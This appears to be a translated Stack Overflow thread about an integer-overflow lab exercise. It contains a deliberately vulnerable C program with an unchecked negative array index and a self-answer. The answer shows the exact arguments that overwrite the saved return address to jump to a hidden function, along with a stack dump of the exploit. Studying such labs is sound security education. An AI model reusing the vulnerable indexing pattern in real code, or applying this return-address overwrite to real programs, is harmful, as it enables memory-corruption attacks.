【问题标题】:Integer Overflow Exploit整数溢出利用
【发布时间】:2019-05-05 02:39:20
【问题描述】:

我有这段代码,它有一些漏洞,但我似乎无法利用它。

目前,这是我注意到的:

1) 如果 argv[1] = 3 且 argc = 3,则它会溢出并将 argv[2] 写入 "place_int_array" 函数中的 array[3] 的内存中。

2) 如果 argv[1]

3) 我们在 printf 函数中编写了 argv[0],它可以以某种方式被利用(根本没有设法利用它)。

这里是代码。 我放了一些 cmets,希望它是可读的。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int secretCode = 123;

void print_secret_code(){
    //TODO - call this from somewhere...
    printf("You get better at this stuff, ah?! Go get your treasure, the code is %d\n", secretCode);
}

                //  array,         3
void  fill_array(int array[], size_t len){
  unsigned int i;
  for (i = 0; i < len; i++){
    array[i] = i * 10;
    printf("array[i]: %d, i: %d\n", array[i], i);
  }
}

void place_int_array(int slot,int value){

  //buffer size = 3*4=12 bytes?
  int array[3];

  //sizeof(array)=4*SAFES ( = 12 here), sizeof(array[0]) = 4 ==> fill_array(array, 12/4=3)
  fill_array(array, sizeof(array)/sizeof(array[0]));

  //vuln - when slot = 3.
  if(slot>3) //we stop bad guys here
    printf("safe number is greater than 3, out of bounds.\n");
  else{
    //vuln?
    array[slot]=value; 
    printf("filled safe %d with %d.\n",slot,value);
  }
  return;
}

int main(int argc,char **argv){
  if(argc!=3){
    printf("Welcome to Alladin's magic cave!\n");
    printf("Enter the secret number into the right safe and get the treasure cave entrance code!\n");
    printf("syntax: %s [SAFE NUMBER] [SECRET NUMBER]\n",argv[0]);

    //TEMP TEMP - for debugging only
    printf("print_secret_code function = %p\n", print_secret_code);
  }
  else
                  //atoi("14s56")=>14, atoi("a14s56")=>0
    place_int_array(atoi(argv[1]), atoi(argv[2]));

  exit(0);
}

我希望以某种方式设法控制程序流以执行“print_secret_code”。我知道如何找到它的地址,只是找不到一种方法来利用该程序以使其进入该内存。

注意:我知道如何调试并让它打印变量的值。我在问如何利用代码本身来跳转到该函数。

【问题讨论】:

  • 对我来说看起来像是一个破坏漏洞的堆栈,因为在 argv2 中需要这个负数。或许试试 argv3 中 print_secret_code 的地址
  • 是的,它显然是一个整数溢出。我尝试将大于最大大小的参数传递给 argv[1] 和 argv[2],并将它们打印出来,但由于某种原因它们不会溢出。小于 int 最小值的值相同
  • 尝试-2^63或-2^31左右的值
  • 好吧,我注意到堆栈中place_int_array函数的返回地址距离堆栈中数组的地址仅6个字节(上面6个字节)。所以我设法覆盖了堆栈的一些地址,但是因为堆栈每次都在不同的地址中,所以我无法真正计算负 argv[1] 应该是多少(尽管它在 -2^31 左右)以便它覆盖array[6] 的地址。
  • 您可以访问源代码,因此没有必要利用任何东西。数字是 123。

标签: c overflow integer-overflow exploit stack-smash


【解决方案1】:

我已经设法解决了这个问题,但我不明白一些事情。这里是:

由于是整数溢出问题,我写了一些代码来打印缓冲区。 缓冲区的开头是存储 array[0] 的地址。 然后,我开始将 MAX_INT 和 MIN_INT 值传递给程序。 我注意到当我将 MIN_INT 值传递给 argv[1] 时,它会覆盖缓冲区的开头。所以我传递了 MIN_INT+1 值,并注意到它覆盖了缓冲区的第二个地址。从那里很容易解决。我发现保存的eip在array[6]的地址,所以我把MIN_INT+6的十进制值传递给了argv[1],我把“print_secret_code”的地址传递给了argv[2] " 十进制函数。

这是输出:

[lab8_IntegerOverflow]$ ./aladdinSafe -2147483642 134514251 //run program and pass arguments
print_secret_code function = 0x804864b
place_int_array ret address: 0x80487fa
&array: 0xff9cb9c4
slot: -2147483642
&array[slot]: 0xff9cb9dc
Stack dump (stack at 0xff9cb9c4, len 30): 
0xff9cba38: 0xdbc70467
0xff9cba34: 0x5bc66076
0xff9cba30: 0x00000000
0xff9cba2c: 0x00000000
0xff9cba28: 0x00000000
0xff9cba24: 0xf775d000
0xff9cba20: 0x0804825c
0xff9cba1c: 0x0804a01c
0xff9cba18: 0xff9cba34
0xff9cba14: 0xff9cba94
0xff9cba10: 0x00000003
0xff9cba0c: 0xf7786cca
0xff9cba08: 0xff9cbaa4
0xff9cba04: 0xff9cba94
0xff9cba00: 0x00000003 (main first argument (argc))
0xff9cb9fc: 0xf75cbaf3 (main return address (saved eip))
0xff9cb9f8: 0x00000000
0xff9cb9f4: 0xf775d000
0xff9cb9f0: 0x08048810
0xff9cb9ec: 0xf775d000
0xff9cb9e8: 0x0804881b
0xff9cb9e4: 0x0804864b (second argument)
0xff9cb9e0: 0x80000006 (first argument)
0xff9cb9dc: 0x0804864b (place_int_array return address (saved eip))
0xff9cb9d8: 0xff9cb9f8 (saved ebp)
0xff9cb9d4: 0xf7799938
0xff9cb9d0: 0xff9cc5c3
0xff9cb9cc: 0x00000014 //address of array[2]
0xff9cb9c8: 0x0000000a //address of array[1]
0xff9cb9c4: 0x00000000 (beginning of buffer)//address of array[0]
filled safe -2147483642 with 134514251.
You get better at this stuff, ah?! Go get your treasure, the code is 10
Segmentation fault

您可以在此处查看详细答案:Different Int values for the same value?

这是我关于解决方案的一个新问题的新主题。

非常感谢所有帮助者!

【讨论】:

    猜你喜欢
    • 2023-03-17
    • 2022-01-21
    • 2012-06-02
    • 2014-01-24
    • 1970-01-01
    • 1970-01-01
    • 2020-10-22
    • 1970-01-01
    相关资源
    最近更新 更多